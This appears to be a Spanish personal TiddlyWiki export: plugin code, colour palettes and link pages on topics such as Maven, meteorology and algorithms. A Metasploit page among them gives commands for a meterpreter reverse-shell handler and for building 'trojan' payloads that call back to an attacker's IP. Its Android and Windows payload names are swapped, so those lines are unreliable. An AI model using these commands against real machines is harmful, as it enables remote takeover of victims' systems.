list2=[],label2=[];start=orig[0]-dx;stop=lim[0]+0.25*dx;for(x=start;x>stop;x-=dx){list2.push([x,orig[1]]);label2.push(String(x.toFixed(ddx)))}list2.push([lim[0],orig[1]]);label2.push("");list2.reverse();list2=list2.concat(list1);if(options.ticklabels!=false){label2.reverse();options.label=label2.concat(label1);options.pos=(SVG.height-origin[1]>2*fontsize)?"S":"N"}var group=getSVGElement("Axes","g");$(group.node).empty();var tempNode=SVG.canvas;SVG.canvas=group.node;path(list2,options);list1=[],label1=[];start=orig[1]+dy;stop=lim[3]-0.25*dy;for(y=start;y<stop;y+=dy){list1.push([orig[0],y]);label1.push(String(y.toFixed(ddy)))}list1.push([orig[0],lim[3]]);label1.push("");list2=[];label2=[];start=orig[1]-dy;stop=lim[2]+0.25*dy;for(y=start;y>stop;y-=dy){list2.push([orig[0],y]);label2.push(String(y.toFixed(ddy)))}list2.push([orig[0],lim[2]]);label2.push("");list2.reverse();list2=list2.concat(list1);if(options.ticklabels!=false){label2.reverse();options.label=label2.concat(label1);options.pos=(origin[0]>2*fontsize)?"W":"E"}options.stroke=options.markerstroke;path(list2,options);SVG.canvas=tempNode;appendSVG(group)}function list(fun,tmin,tmax,options){var inc=(tmax-tmin)/getOptions("points",options);if(inc<=0||fun.length==0){return}var t,pth,g=[],xt,yt;for(t=1;t>=0;t--){if($.isFunction(fun[t])){g[t]=fun[t]}else{if(typeof fun[t]=="string"){with(Math){eval("g["+t+"] = function(x){return "+fun[t]+"}")}}else{return}}}if(g.length<2){return}pth=[];for(t=tmin;t<=tmax;t+=inc){xt=g[0](t);yt=g[1](t);if(isFinite(xt)&&isFinite(yt)){pth[pth.length]=[xt,yt]}}return pth}function plot(fun,options){options=options||{};var i,steps=options.steps||[];if(steps.length===0){plotter(fun,options)}else{var leftMarkers=options.leftMarkers||"-";var rightMarkers=options.rightMarkers||"-";var n_steps=steps.length-1;options.max=steps[0];options.marker="--"+leftMarkers.charAt(0);plotter(fun,options);for(i=0;i<n_steps;i++){options.max=steps[i+1];options.min=steps[i];options.marker=rightMarkers.charAt((rightMarkers.length>i)?i:0)+"-"+leftMarkers.charAt((leftMarkers.length>i+1)?i+1:0);plotter(fun,options)}options.max=null;options.min=steps[n_steps];options.marker=rightMarkers.charAt((rightMarkers.length==n_steps)?n_steps-1:0)+"--";plotter(fun,options)}}function plotter(fun,options){options=options||{};options.closed=false;options.curve="";var xmin=(options.min==null)?SVG.xmin:options.min;var xmax=(options.max==null)?SVG.xmax:options.max;var pth=list(["x",fun],xmin,xmax,options);if(pth){path(pth,options)}}function area(fun1,fun2,options){options=options||{};options.curve="";options.closed=true;var xmin=(options.min==null)?SVG.xmin:options.min;var xmax=(options.max==null)?SVG.xmax:options.max;var pth1=list(["x",fun1],xmin,xmax,options);var pth2=list(["x",fun2],xmin,xmax,options);if(pth1&&pth2){pth2.reverse();pth1=pth1.concat(pth2);path(pth1,options)}}function polarPlot(fun,options){var g1,g2;if(typeof fun=="string"){with(Math){eval("g1 = function(x){return ("+fun+")*cos(x)}");eval("g2 = function(x){return ("+fun+")*sin(x)}")}}else{if($.isFunction(fun)){with(Math){eval("g1 = function(x){return fun(x)*cos(x)}");eval("g2 = function(x){return fun(x)*sin(x)}")}}}parametricPlot(g1,g2,options)}function parametricPlot(fun1,fun2,options){options=options||{};options.closed=false;options.curve="";var xmin=(options.min==null)?0:options.min;var xmax=(options.max==null)?2*Math.PI:options.max;var pth=list([fun1,fun2],xmin,xmax,options);if(pth){path(pth,options)}}function slopeField(fun,options){options=options||{};var g=fun;if(typeof fun=="string"){with(Math){eval("g = function(x,y){return "+fun+"}")}}var gxy,x,y,u,v,dz;var dx=(options.dx==null)?1:options.dx;var dy=(options.dy==null)?1:options.dy;dz=Math.sqrt(dx*dx+dy*dy)/6;var xmin=Math.ceil(SVG.xmin/dx);var ymin=Math.ceil(SVG.ymin/dy);for(x=xmin;x<=SVG.xmax;x+=dx){for(y=ymin;y<=SVG.ymax;y+=dy){gxy=g(x,y);if(!isNaN(gxy)){if(Math.abs(gxy)=="Infinity"){u=0;v=dz}else{u=dz/Math.sqrt(1+gxy*gxy);v=gxy*u}line([x-u,y-v],[x+u,y+v],options)}}}}return{dynamic:{},removePictures:function(obj){var pictures=obj?[obj]:$(".svgGraph");$(pictures).each(function(){var target=this.parentNode;$(this).remove();$(target).css({color:"red",background:"yellow"});$(target).text("Missing picture: your  browser does not support inline SVG");window.setTimeout(function(){$(target).remove()},10000)})},drawPictures:function(obj){var options,xmin,xmax,ymin,ymax;var pictures=obj?[obj]:$(".svgGraph");$(pictures).each(function(){SVG=new pictureObject();options=this.getAttribute("options");if(options!=""){with(Math){eval("options="+options)}setOptions(options)}else{options={}}SVG.pos=options.pos||SVG.pos;if(SVG.pos=="inline"){$(this).wrap("<span></span>")}else{$(this).wrap("<div></div>")}SVG.width=options.width||SVG.width;SVG.height=options.height||SVG.height;SVG.coords=options.coords||SVG.coords;SVG.border=options.borderwidth||SVG.border;var borderstroke=options.borderstroke||"black";var borderstyle=options.borderstyle||"solid";if(options.pan==false){SVG.pan=false}SVG.src=this.getAttribute("script");var container=this.parentNode;switch(SVG.pos){case"left":$(container).css("float","left");break;case"right":$(container).css("float","right");break;case"center":$(container).css("margin","auto auto")}$(container).css("border",SVG.border+"px "+borderstyle+" "+borderstroke);container.removeChild(this);var scales=getScales(options.scales);SVG.xmin=scales[0];SVG.xmax=scales[1];SVG.ymin=scales[2];SVG.ymax=scales[3];if(SVG.xmin>=SVG.xmax){throw"Incorrect values: xmax<=xmin."}var xunitlength=SVG.width/(SVG.xmax-SVG.xmin);if(typeof SVG.ymin!="number"){SVG.ymin=-SVG.height/(2*xunitlength);SVG.ymax=-SVG.ymin}else{if(SVG.ymin>=SVG.ymax){throw"Incorrect values: ymax<=ymin."}}setScales();SVG.id=Math.randomString(16);var qnode=createSVGElement("svg");qnode.id=SVG.id;qnode.setAttribute("xmlns","http://www.w3.org/2000/svg");var node=createSVGElement("clipPath");node.id=SVG.id+"ClipPath";var node2=createSVGElement("path");$(node).append(node2);node2=createSVGElement("defs");node2.id=SVG.id+"_Defs";$(node2).append(node);$(qnode).append(node2);node=createSVGElement("rect");node.setAttribute("class","svgBackground");node.setAttribute("x","0");node.setAttribute("y","0");node.setAttribute("width","100%");node.setAttribute("height","100%");node.setAttribute("fill",SVG.attr.backgroundcolor);node.setAttribute("fill-opacity",SVG.attr.backgroundopacity);$(qnode).append(node);node=createSVGElement("g");node.id=SVG.id+"Canvas";node.setAttribute("clip-path","url(#"+SVG.id+"ClipPath)");SVG.canvas=node;$(qnode).append(node);if(SVG.coords!="none"&&SVG.pos!="inline"){node=createSVGElement("text");node.id=SVG.id+"Coords";node.setAttribute("class","svgCoords");node.setAttribute("text-anchor","end");node.setAttribute("font-size",(SVG.attr.fontsize*0.8));$(qnode).append(node)}$(container).append(qnode);container.style.position="relative";node=MSVG.createElementXHTML("span",SVG.id+"mml");$(container).append(node);if(SVG.pos!="inline"){node=MSVG.createElementXHTML("span",SVG.id+"toolbar");node.style.position="absolute";node.style.textAlign="left";node.style.zIndex=10;node2=setButton("Update","Edit script",function(){updateButton(this)});$(node).append(node2);node2=setButton("SVG","View SVG code",function(){exportSVG(this)});$(node).append(node2);node2=setButton("-","Zoom out",function(){changeScales(1.25)});$(node).append(node2);node2=setButton("+","Zoom in",function(){changeScales(0.8)});$(node).append(node2);node2=setButton("\u2191","Enlarge picture",function(){changeSize(0.8)});$(node).append(node2);node2=setButton("\u2193","Reduce picture",function(){changeSize(1.25)});$(node).append(node2);$(node).append("<br />");node2=MSVG.createElementXHTML("textarea",SVG.id+"src");$(node2).attr({rows:8,cols:80});$(node).append(node2);$(node).hide();$(container).append(node);setAction("mousemove",updateCoord);setAction("mouseout",removeCoord);setAction("mousedown",onClick);if(SVG.pan){setAction("mouseup",onDrop)}if(window.addEventListener){var evt=$.browser.mozilla?"DOMMouseScroll":"mousewheel";qnode.addEventListener(evt,onWheel,false)}}setAction("mouseover",switchTo);setSize();translateAndEval(SVG.id)})}}}(jQuery);
//}}}
/***
!~TiddlyWiki formatters
***/
//{{{
if(!version.extensions.MathSVGPlugin) { //# ensure that the plugin is only installed once
version.extensions.MathSVGPlugin = {installed: true};
MSVG.generic();

config.formatterHelpers.MathSVGHelper = function(w) {
  this.lookaheadRegExp.lastIndex = w.matchStart;
  var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
  if(lookaheadMatch){
    var eq = MSVG.parseMath(lookaheadMatch[1],this.displaystyle);
    if(this.displaystyle){
      var node = createTiddlyElement(w.output,"div");
      node.style.textAlign='center';
      node.appendChild(eq);
      w.output.appendChild(node);
    } else {w.output.appendChild(eq);}
    w.nextMatch = lookaheadMatch.index + lookaheadMatch[0].length;
  }
}

config.formatters.push( {
  name: "clatex",
  match: "\\$\\$",
  lookaheadRegExp: /\$\$((?:.|\n)*?)\$\$/mg,
  displaystyle: true,
  handler: config.formatterHelpers.MathSVGHelper
})

config.formatters.push( {
  name: "clatex2",
  match: "\\\\\\\[",
  lookaheadRegExp: /\\\[\s*(.*?)\s*\\\]/mg,
  displaystyle: true,
  handler: config.formatterHelpers.MathSVGHelper
})

config.formatters.push( {
  name: "latex",
  match: "\\$",
  lookaheadRegExp: /\$((?:.|\n)*?)\$/mg,
  displaystyle: false,
  handler: config.formatterHelpers.MathSVGHelper
})

config.formatters.push( {
  name: "graph",
  match: "\\(:graph",
  lookaheadRegExp: /\(:graph(?:\((\{.+?\})?\))?[\s]+((?:.|\n)*?)[\s]+:\)/mg,
  handler: function(w){
  this.lookaheadRegExp.lastIndex = w.matchStart;
  var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
  if(lookaheadMatch){
    var svg = createTiddlyElement(w.output,"embed");
    svg.className="svgGraph";
    svg.setAttribute('options',lookaheadMatch[1]||"");
    svg.setAttribute('script',lookaheadMatch[2]);
    ASVG.drawPictures(svg);
    w.nextMatch = lookaheadMatch.index + lookaheadMatch[0].length;
  }
  }
})
}
//}}}
Maven es un programa para la gestión y construcción de proyectos hechos en [[Java]], y pretende ser un reemplazo más moderno y potente de [[Ant]], aunque todavía no ha conseguido tanta aceptación como este.

Más información:
* http://es.wikipedia.org/wiki/Maven
* http://maven.apache.org/
* http://www.sonatype.com/index.php/Support/Books/Maven-The-Complete-Reference
!Descripción
<part descripcion>
Información sobre las ciencias médicas relacionadas con la salud del ser humano
</part>
!Enlaces
<part enlaces>
* ''Glosarios y diccionarios:''
** Diccionario del cancer: http://www.cancer.gov/diccionario/
* ''Blogs y publicaciones no regulares:''
** Med tempus: http://medtempus.com
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
/***

|Name|MenuEditPlugin|
|Created by|SaqImtiaz|
|Location|http://tw.lewcid.org/#MenuEditPlugin|
|Version|0.2|
|Requires|~TW2.x|
!Description:
Adds 'doubleclick to edit source' to the MainMenu, SideBarOptions, and SideBarTabs

!History
*20-07-06: version 0.2: hijacked restart, no need to put a macro in the mainMenu anymore.
*28-04-06: version 0.1: working.

!Code
***/
//{{{

window.restart_lewcid_menuedit = restart;
window.restart = function () {
         window.restart_lewcid_menuedit();
var menus = new Array("topMenu","sidebarOptions","sidebarTabs","contentFooter","mainMenu");
for(var t=0; t<menus.length; t++){
         if (document.getElementById(menus[t]))
              {var menu = document.getElementById(menus[t]);
               menu.ondblclick = window.onMenuDblClick;}}
}



window.onMenuDblClick = function(e){
if (!e) var e = window.event;
story.displayTiddler(null,this.getAttribute("tiddler"),2,false,null)
e.cancelBubble = true;
if (e.stopPropagation) e.stopPropagation();
return false;
}
//}}}
! 1. Introducción
!! 1.1. ¿Qué es Metasploit?
Metasploit es un completo framework de seguridad realizado en Ruby. Su principal éxito radica en su versatilidad, ya que ofrece una interfaz consistente para realizar multitud de tareas distintas, y explotar muchos tipos de fallos de seguridad distintos. Además, incorpora la shell remota Meterpreter, que permite acceso remoto sencillo a máquinas comprometidas.

Con este framework es posible, por ejemplo: generar un ejecutable con un payload concreto, escanear puertos de una máquina remota, iniciar una shell remota, lanzar un exploit remoto, etc.

!! 1.2. Descarga e instalación
Lo más sencillo es usar el gestor de paquetes de tu distribución de Linux. Para windows se puede descargar de [[aquí|https://www.rapid7.com/products/metasploit/download.jsp]].

No obstante, para tener la última versión no hay nada como descargarse el código de [[github|https://github.com/rapid7/metasploit-framework]].

Una vez instalado, se puede encontrar mucha información muy útil en el siguiente tutorial: http://www.offensive-security.com/metasploit-unleashed/Main_Page

! 2. Seccion

! 3. Seccion

! A. Apéndice: Comandos usados habitualmente
!! A.1. Conexión inversa para meterpreter
Como levantar un servidor que acepta conexiones remotas de meterpreter de máquinas infectadas:
{{{
msfcli exploit/multi/handler payload=windows/meterpreter/reverse_tcp lhost=<IP publica del server> lport=<puerto público del server> E
}}}
Para ver los payloads disponibles:
{{{
msfcli exploit/multi/handler P
}}}

!! A.2. Crear un troyano
Para Android:
<code bash>
msfpayload windows/meterpreter/reverse_tcp lhost=<IP pública de nuestro server> lport=<puerto público de nuestro server> R > meter.apk
</code>

Para Windows:
<code bash>
msfpayload android/meterpreter/reverse_tcp lhost=<IP pública de nuestro server> lport=<puerto público de nuestro server> X > meter.exe
</code>

! Referecias
* http://www.metasploit.com/documents/users_guide.pdf
* http://www.offensive-security.com/metasploit-unleashed/
* http://www.metasploit-es.com.ar/wiki/index.php/Curso_de_Metasploit_Unleashed_en_Espa%C3%B1ol
* http://www.metasploit-es.com.ar/wiki/index.php/Meterpreter
* http://www.offensive-security.com/metasploit-unleashed/porting-exploits
!Descripción
<part descripcion>
Descripcion de la sección
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Meteorolog%C3%ADa
** El tiempo en Zaragoza: http://www.wunderground.com/global/stations/08160.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!!Anticiclón ^^[[<editar>|$1]]^^
Un anticiclón es una zona de alta presión. La circulación del aire en el hemisferio norte es en sentido horario (dextrógiro) y en el sur antihorario (levógiro). Las corrientes de aire en un anticiclón son siempre descendentes y expansivas (hacia fuera).

Un ''anticiclón térmico'' es producido por una masa de aire frío, lo que la hace descender. La pérdida de temperatura es mayor en las capas bajas que en las altas, provocando una inversión térmica. Da un tiempo seco, soleado y frío.

Un ''anticiclón dinámico'' es el descenso de una masa de aire debido a que es empujada hacia la superficie de la Tierra por la advección en altura de masas de aire que la desplazan del lugar en el que está. Da tiempo seco, soleado y caluroso.

//Fuente:// http://es.wikipedia.org/wiki/Anticicl%C3%B3n
!!Ciclón ^^[[<editar>|$1]]^^
Un ciclón es una masa de aire de baja presión. La dirección del viento es ascendente y de contracción, y en el hemisferio norte gira en sentido antihorario (levógiro) y en el sur en sentido horario (dextrógiro). Es más común referirse a estas masas de aire como ''borrascas''.

//Fuente:// http://es.wikipedia.org/wiki/Cicl%C3%B3n_(fen%C3%B3meno_natural)
!Descripción
<part descripcion>
Información sobre metodologías ágiles como Scrum, extreme programming, etc.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Desarrollo_%C3%A1gil_de_software
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
!Descripción
<part descripcion>
Información sobre métodos y algoritmos informáticos
</part>
!Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Algoritmos
* Introducción a los algoritmos (MIT): http://www.catonmat.net/blog/mit-introduction-to-algorithms-part-one
* Google University, algoritmos: http://code.google.com/edu/algorithms/index.html
* Clever Algorithms, algoritmos inspirados por la naturaleza: http://www.cleveralgorithms.com/nature-inspired/index.html
* Matters Computational. Ideas, Algorithms, Source Code: http://www.jjj.de/fxt/fxtbook.pdf

!! Búsqueda, aproximación y recopilación de información
* Libro: http://www.designofapproxalgs.com/download.php
* Introduction to Information Retrieval: http://nlp.stanford.edu/IR-book/html/htmledition/irbook.html

!! Optimización de algoritmos
* Combinatorial Optimization, Exact and Approximate Algorithms: http://lucatrevisan.wordpress.com/2011/03/19/cs261-the-book/

!! Texto
* Text Algorithms: http://igm.univ-mlv.fr/~mac/REC/B1.html

!! MapReduce y mineria de datos
* Artículo de la Wikipedia: http://en.wikipedia.org/wiki/MapReduce
* Documentación de Google: http://labs.google.com/papers/mapreduce.html
* Artículo de Linux Magazine: http://www.linux-mag.com/cache/7407/1.html
* Mining of Massive Datasets: http://infolab.stanford.edu/~ullman/pub/book.pdf

!! Grafos y árboles
* Camino más óptimo mediante algoritmo """A*""" http://razonartificial.com/2010/03/a-pathfinding-camino-optimo/
* http://theory.stanford.edu/~trevisan/books/cs261.pdf

!! Algoritmos matemáticos
* Calcular PI: http://en.wikipedia.org/wiki/Computing_%CF%80
* Thik Stats, Probability and Statistics for Programmers: http://www.greenteapress.com/thinkstats/
* Ceres-solver, resolución de problemas de mínimos cuadrados: http://code.google.com/p/ceres-solver/

!! Algoritmos físicos
* Physics engines for dummies: http://www.wildbunny.co.uk/blog/2011/04/06/physics-engines-for-dummies/
* Colisiones, cálculo matricial y cinemática: http://pfirth.co.uk/
* Collision detection for fummies: http://www.wildbunny.co.uk/blog/2011/04/20/collision-detection-for-dummies/

!! Números pseudoaleatorios
* Listado en la Wikipedia: http://en.wikipedia.org/wiki/List_of_random_number_generators
* Generadores uniformes en [[C++]]: http://www.agner.org/random/
* MWS: http://en.wikipedia.org/wiki/Multiply-with-carry
* CMWS en [[Python]]: http://code.activestate.com/recipes/576707/
* Implementación en [[Java]] de varios generadores: http://code.google.com/p/javarng/
* Generación de colores aleatorios: http://martin.ankerl.com/2009/12/09/how-to-create-random-colors-programmatically/
** Implementación en Python: [[Generación aleatoria de colores en Python]]

!! Recursividad
* Recursive Functions of Symbolic Expressions and Their Computation by Machine: http://www-formal.stanford.edu/jmc/recursive/recursive.html

!! Indexado espacial
* Artículo de la wikipedia: http://en.wikipedia.org/wiki/Spatial_index
* Curva de Hilbert: http://en.wikipedia.org/wiki/Hilbert_curve
* Curva de Moore (Hilbert con bucles): http://en.wikipedia.org/wiki/Moore_curve
* Curva de Peano: http://en.wikipedia.org/wiki/Peano_curve
* Indexado espacial con árboles cuaternarios y curvas de Hilbert: http://blog.notdot.net/2009/11/Damn-Cool-Algorithms-Spatial-indexing-with-Quadtrees-and-Hilbert-Curves

!! Semántica
* Practical Semantic Web and Linked Data Applications: http://www.markwatson.com/opencontent/

!! Gráficos
!!! Gráficos 3D
* Radiosidad: una perspectiva para el programador: http://www.agi32.com/Downloads/TechnicalDocs/Ashdown%20Radiosity.zip

!! Programación en sistemas empotrados o limitados
* Small Memory Software: http://www.smallmemory.com/book.html

!! Programación de sistemas
* System Developer's Edge: http://blogs.oracle.com/d/entry/welcome_to_the_system_developer
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
Name: MiPaleta
Background: #fff
Foreground: #000
PrimaryPale: #8cf
PrimaryLight: #18f
PrimaryMid: #04b
PrimaryDark: #014
SecondaryPale: #CCE9FF
SecondaryLight: #87CBFF
SecondaryMid: #449BDD
SecondaryDark: #115488
TertiaryPale: #eee
TertiaryLight: #ccc
TertiaryMid: #999
TertiaryDark: #666
Error: #f88
<<showtoc>>
!Descripción
<part descripcion>
Los Micro Servidores son dispositivos integrados diseñados para ser silenciosos y muy compactos. Su uso más habitual es hacer de NAS o servidores caseros. Debido a su bajo coste, bajo consumo y pequeño tamaño, son ideales para tener en casa siempre encendidos. Un tipo especial de micro servidores son los llamados "Plug Computer", que tienen el tamaño y forma de un adaptador de corriente.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia sobre Plug Computers: http://en.wikipedia.org/wiki/Plug_computer
* Wiki: http://www.plugcomputer.org/
* Embedded Linux Wiki: http://elinux.org/Main_Page

!! Dispositivos
* Evercube: http://evercu.be/
* Beaglebone: http://beagleboard.org/bone
* Beableboard: http://beagleboard.org/hardware
* """CuBox""": http://www.solid-run.com/products/cubox
* Pogoplug: https://pogoplug.com/
* Panda Board: http://pandaboard.org/content/platform
* Raspberry Pi: http://www.raspberrypi.org/
** Página en "Embedded Linux": http://elinux.org/RaspberryPiBoard
** Revista sobre Raspberry Pi: http://www.themagpi.com/
* Trim Slice: http://trimslice.com/web/
* Tonido Plug: http://www.tonidoplug.com/tonido_plug.html
* Allwinner A10: http://rhombus-tech.net/allwinner_a10/orders/
* """Rikomagic MK802""": http://www.aliexpress.com/product-fm/563764893-Freeshipping-Rikomagic-MK802-Mini-PC-Mini-Android4-0-dongle-android-IPTV-google-tv-smart-android-box-wholesalers.html
** Como ponerle ubuntu: http://liliputing.com/2012/06/how-to-run-ubuntu-linux-on-the-mk802-74-pc-on-a-stick.html

!! Tiendas
* Tigal: http://www.tigal.com
* Digi Key: http://www.digikey.com/

!! Sistemas operativos
* Arch Linux for ARM: http://archlinuxarm.org/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Cajón desastre donde se meterán categorías no estrictamente técnicas y que no tengan cabida en los demás apartados
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
/***
| Name:|''monkeyTagger''|
| Created by:|SaqImtiaz|
| Location:|http://tw.lewcid.org/|
| Version:|0.9 (08-Apr-2006)|
| Requires:|~TW2.07|

!About:
*an adaptation of TagAdderMacro for monkeyGTD and tagglytagging user, but could be useful to just about anyone!
*{{{<<monkeyTagger Project>>}}} gives a drop down list of all tags, tagged with Project.
*The list allows toggling of tags on the current tiddler.
*logging options for task management.

!Demo:
<<monkeyTagger Status>>

!Installation:
*Copy this tiddler to your TW with the systemConfig tag
*either copy the following to your ViewTemplate:
{{{<div class='tagged' macro='monkeyTagger tagToTrack'></div>}}}
or
*better yet, define your own toolbar class and add as many as you need to create a nice toolbar.
Eg:
{{{<div class='toolbar' >
<span style="padding-right:0.15em;" macro='monkeyTagger Project'></span>
<span style="padding-right:0.15em;" macro='monkeyTagger Status'></span>
<span macro='toolbar -closeTiddler closeOthers +editTiddler permalink references jump'></span>
</div>}}}
 (adjust padding to taste)

!Usage:

''Syntax:''
|>|{{{<<monkeyTagger source:"sourcetag" label:"customlabel" logging:"true/false" anchor:"anchortext"  arrow:"true/false">>}}}|
|label:|quoted text to use as a customlabel|
|arrow:|add arrow to custom label, values are "true" or "false"|
|anchor:|quoted text to specify where to add logging text|
|logging:|enable logging of tags added (for task management), values are "true" or "false"|

the only parameter you ''have'' to pass is the source. When passing only one parameter, you can write either something like:
{{{<<monkeyTagger "Project">>}}} or {{{<<monkeyTagger source:"Project">>}}} for <<monkeyTagger Project>>
All other parameters are optional, and can be written in any order.

''Defaults:''
|label:|default label if not specified = source tag + arrow|
|arrow:|true |
|logging:|false |
|anchor:|none used by default, logging text added to end of tiddler |

''Examples:''
|custom label| {{{<<monkeyTagger source:"Project" label:"customlabel">>}}} |<<monkeyTagger source:"Project" label:"customlabel">>|
|custom label without arrow| {{{<<monkeyTagger source:"Project" label:"customlabel" arrow:"false">>}}} |<<monkeyTagger source:"Project" label:"customlabel" arrow:"false">>|
|logging enabled| {{{<<monkeyTagger source:"Project" logging:"true"}}} |<<monkeyTagger source:"Project" logging:"true">>|
|logging enabled with anchor text|{{{<<monkeyTagger source:"Project" logging:"true" anchor:"anchortext"}}} |<<monkeyTagger source:"Project" logging:"true" anchor:"anchortext">>|

''Tips:''
*Make sure your anchor text doesn't occur more than once in every tiddler, as the first instance will be used.
*I recommend using something like {{{/%StatusLog%/}}} as an invisible anchor.
*Use a tag based template, and add monkeyTagger macro's with logging enabled to the toolbar in just your taskmanagement templates.

!To Do:
*add sorting options if requested.
*''add exclude tag feature''!

!History
*Version 0.9: 
**changed to named parameters to make it more user friendly
**added option to disable/enable dropdown arrow in custom labels
**added logging option with anchor text.

!CODE
***/
//{{{

config.macros.monkeyTagger= {};
//config.macros.monkeyTagger.dropdownchar = (document.all?"▼":"▾"); // the fat one is the only one that works in IE
config.macros.monkeyTagger.dropdownchar = "▼"; // uncomment previous line and comment this for smaller version in FF
config.macros.monkeyTagger.handler = function(place,macroName,params,wikifier,paramString,tiddler)
{
 var nAV = paramString.parseParams('test', null, true);

 if ((nAV[0].arrow)&&(nAV[0].arrow[0])=='false')
    var arrow=': ';
 else
     var arrow=': '+ config.macros.monkeyTagger.dropdownchar;

 if((nAV[0].source)&&(nAV[0].source[0])!='.')
        {var tagToTrack = nAV[0].source[0]}
 else if(params[0]&&(params[0]!='.'))
      {var tagToTrack = params[0]}
 else
       {return false;};
 var monkeylabel = ((nAV[0].label)&&(nAV[0].label[0])!='.')?nAV[0].label[0]+arrow: tagToTrack+arrow;
 var logmode = ((nAV[0].logging)&&(nAV[0].logging[0])!='.')?nAV[0].logging[0]: "false";
 if ((nAV[0].anchor)&&(nAV[0].anchor[0])!='.')
    var anchor = nAV[0].anchor[0];
 var monkeytooltip=tagToTrack + ' :';


     if(tiddler instanceof Tiddler)
                {var title = tiddler.title;
                
                var addcomment = function(tiddler,newTag){
                    var now = new Date();
                    var timeFormat= 'DD/0MM/YY 0hh:0mm';
                    var formattednow= now.formatString(timeFormat);
                    var txt="\n*''"+tagToTrack+"'' set as ''"+newTag+"'' on "+formattednow;
                    if (anchor && anchor!='.')
                       {var pos=tiddler.text.indexOf(anchor);
                       if (pos!=-1) {pos=pos + anchor.length}
                       else if (pos==-1) {pos=tiddler.text.length}}
                    else if (!anchor){var pos = tiddler.text.length;};

                    tiddler.set(null,tiddler.text.substr(0,pos)+txt+tiddler.text.substr(pos));
                    story.refreshTiddler(tiddler.title,null,true);
                    return false;
}

                var ontagclick = function(e) {
                    if (!e) var e = window.event;
                    var tag = this.getAttribute("tag");
                    var t=store.getTiddler(title);
                    if (!t || !t.tags) return;
                    if (t.tags.find(tag)==null)
                       {t.tags.push(tag)
                         if (logmode=="true"){addcomment(t,tag);}}
                    else
                        {t.tags.splice(t.tags.find(tag),1)};
                    story.saveTiddler(title);
                    story.refreshTiddler(title,null,true);
                    return false;
                    };
                var onclick = function(e) {
                    if (!e) var e = window.event;
                    var popup = Popup.create(this);
                    var thistiddler=store.getTiddler(title);

                    var taggedarray = new Array();
                    var tagslabel = new Array();

                    var taggedtiddlers = store.getTaggedTiddlers(tagToTrack);
                    for (var t=0; t<taggedtiddlers.length; t++){
                        var taggedtitle= ((taggedtiddlers[t]).title);
                        taggedarray.push(taggedtitle);}

                    for (var t=0; t<taggedarray.length; t++){
                        var temptag = taggedarray[t];
                        if (thistiddler.tags.find(temptag)==null)
                           {var temptag='[ ] '+ temptag;
                           tagslabel.push(temptag);}
                        else
                            {var temptag ='[x] '+ temptag;
                            tagslabel.push(temptag);}
                            }

                   if(tagslabel.length == 0)
                          createTiddlyText(createTiddlyElement(popup,"li"),('no '+tagToTrack));
                          for (var t=0; t<tagslabel.length; t++)
                          {
                          var theTag = createTiddlyButton(createTiddlyElement(popup,"li"),tagslabel[t],("toggle '"+ ([taggedarray[t]]))+"'",ontagclick);
                          theTag.setAttribute("tag",taggedarray[t]);
                          }
       Popup.show(popup,false);
       e.cancelBubble = true;
       if (e.stopPropagation) e.stopPropagation();
       return(false);
};
 //createTiddlyButton(place,monkeylabel,monkeylabel,onclick);

var createdropperButton = function(place){
var sp = createTiddlyElement(place,"span",null,"monkeytaggerbutton");
var theDropDownBtn = createTiddlyButton(sp,monkeylabel,monkeytooltip,onclick);
};

createdropperButton(place);
 }
};
setStylesheet(
 ".toolbar .monkeytaggerbutton {margin-right:0em; border:0px solid #fff; padding:0px; padding-right:0px; padding-left:0px;}\n"+
 ".monkeytaggerbutton a.button {padding:2px; padding-left:2px; padding-right:2px;}\n"+
// ".monkeytaggerbutton {font-size:130%;}\n"+
//".monkeytaggerbutton .button {color:#703;}\n"+
 "",
"MonkeyTaggerStyles");

//}}}
! Para más información
* Página principal: http://www.jboss.org/drools/
* Tutorial de introducción: http://www.dosideas.com/java/592-primeros-pasos-con-drools.html
* DSL con Drools: http://www.dosideas.com/java/607-utilizando-un-dsl-con-drools.html
* Reglas en un excel: http://www.dosideas.com/java/637-como-usar-drools-con-una-planilla-de-calculo.html
Name: MptwBlack
Background: #000
Foreground: #fff
PrimaryPale: #333
PrimaryLight: #555
PrimaryMid: #888
PrimaryDark: #aaa
SecondaryPale: #111
SecondaryLight: #222
SecondaryMid: #555
SecondaryDark: #888
TertiaryPale: #222
TertiaryLight: #666
TertiaryMid: #888
TertiaryDark: #aaa
Error: #300

This is in progress. Help appreciated.
Name: MptwBlue
Background: #fff
Foreground: #000
PrimaryPale: #cdf
PrimaryLight: #57c
PrimaryMid: #114
PrimaryDark: #012
SecondaryPale: #ffc
SecondaryLight: #fe8
SecondaryMid: #db4
SecondaryDark: #841
TertiaryPale: #eee
TertiaryLight: #ccc
TertiaryMid: #999
TertiaryDark: #666
Error: #f88
/***
|Name:|MptwConfigPlugin|
|Description:|Miscellaneous tweaks used by MPTW|
|Version:|1.0 ($Rev: 3646 $)|
